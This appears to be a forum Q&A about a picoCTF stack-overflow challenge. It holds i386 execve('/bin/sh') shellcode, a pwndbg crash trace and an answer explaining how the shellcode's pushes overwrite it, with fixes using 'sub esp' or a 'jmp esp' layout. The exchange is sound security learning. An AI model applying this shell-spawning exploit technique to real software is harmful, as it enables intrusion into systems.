I was playing some picoCTF challenges today and I found myself stuck in a challenge. Digging around the internet, I found a solution online which I cannot fully grasp.
The challenge (whose name I won't spoil for those who are playing picoCTF) revolves around a vulnerable x86 ELF, and it involves using ROP gadgets to gain a shell, however the checksec
reveals that the binary is not PIE, and there is no NX enabled.
By breaking at ret
of the vulnerable function, I noticed that the EAX
register contains the start address of the buffer on the stack. Moreover, I found out that the offset between the start of the buffer and the saved EIP is 28 bytes.
So my first guess was to craft a sufficiently short shellcode, place it inside the buffer preceeded by a NOP sled, and overwrite the saved EIP
with a gadget jumping to the content of the EAX
register, aka the start of my buffer.
However, I found out that this approach is not working. The shellcode I crafted is:
int 0x3 ; used for debugging purposes
xor eax, eax
push eax
push 0x0068732f
push 0x6e69622f
xor ebx, ebx
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
I assembled it using pwntool's asm
library, setting the architecture to i386
.
The debugger reveals the following after few steps in:
pwndbg>
Program received signal SIGSEGV, Segmentation fault.
0xff854a01 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
EAX 0x0
EBX 0x0
ECX 0x80e5300 (_IO_2_1_stdin_) ◂— 0xfbad2088
EDX 0xff854a10 —▸ 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
EDI 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
ESI 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
EBP 0x90909090
ESP 0xff854a00 ◂— 0x0
EIP 0xff854a01 ◂— 0x2f000000
─────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────
0xff8549f3 push eax
0xff8549f4 push 0x68732f
0xff8549f9 push 0x6e69622f
0xff8549fe xor ebx, ebx
0xff854a00 add byte ptr [eax], al
↓
► 0xff854a01 add byte ptr [eax], al
0xff854a03 add byte ptr [edi], ch
0xff854a05 bound ebp, qword ptr [ecx + 0x6e]
0xff854a08 das
0xff854a09 jae 0xff854a73 <0xff854a73>
↓
0xff854a73 add byte ptr [eax], al
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp eip-1 0xff854a00 ◂— 0x0
01:0004│ 0xff854a04 ◂— '/bin/sh'
02:0008│ 0xff854a08 ◂— 0x68732f /* '/sh' */
03:000c│ 0xff854a0c ◂— 0x0
04:0010│ edx 0xff854a10 —▸ 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
... ↓ 2 skipped
07:001c│ 0xff854a1c ◂— 0x3e8
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0xff854a01
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
Meaning that the execution is breaking at 0xff854a00
.
Now the solution I found online involved crafting the overflow string in the following way:
jmp esp
jmp eax
gadget to jump to the start of the buffer, overwriting the saved EIP.From what I've understood, the jmp ESP
instruction allows to direct the execution right after the ret
instruction, thus jumping inside the shellcode, but I would like to know more about this.
I even tried recalling the x86 Call/Return Protocol, but it seems that I cannot fully grasp how jumping to the stack would actually resolve the challenge.
I seek your help. Thanks!
Your code is on the stack under the stack pointer. Part of it is overwritten by your own push
instructions. Notice that bound ebp, qword ptr [ecx + 0x6e]
has machine code 62 69 6E
which corresponds to push 0x6e69622f
. Adjusting esp
downwards by a suitable amount should fix the problem, e.g. sub esp, 32
The other solution works around the problem by putting most of the shellcode above the stack pointer and only using a single jmp esp
to transfer control. Here is an illustration of the memory layout:
| ... | | ^ |
| ... | | | |
| ... | | | |
| ... | <= ESP => | shellcode |
+-------------+ +-------------+
| ret addr | jmp eax | ret addr |
+-------------+ +-------------+
| pushed data | | pushed data |
| | | | | |
| | | | | |
| v | | v |
| !overlap! | | ... |
| ^ | | jmp esp |
| | | | nop |
| | | | nop |
| shellcode | <= EAX => | nop |
+-------------+ +-------------+
The initial nop
s are probably not needed, it should work fine with the jmp esp
followed by 26 nop
s (or whatever padding since it's not going to be executed) instead.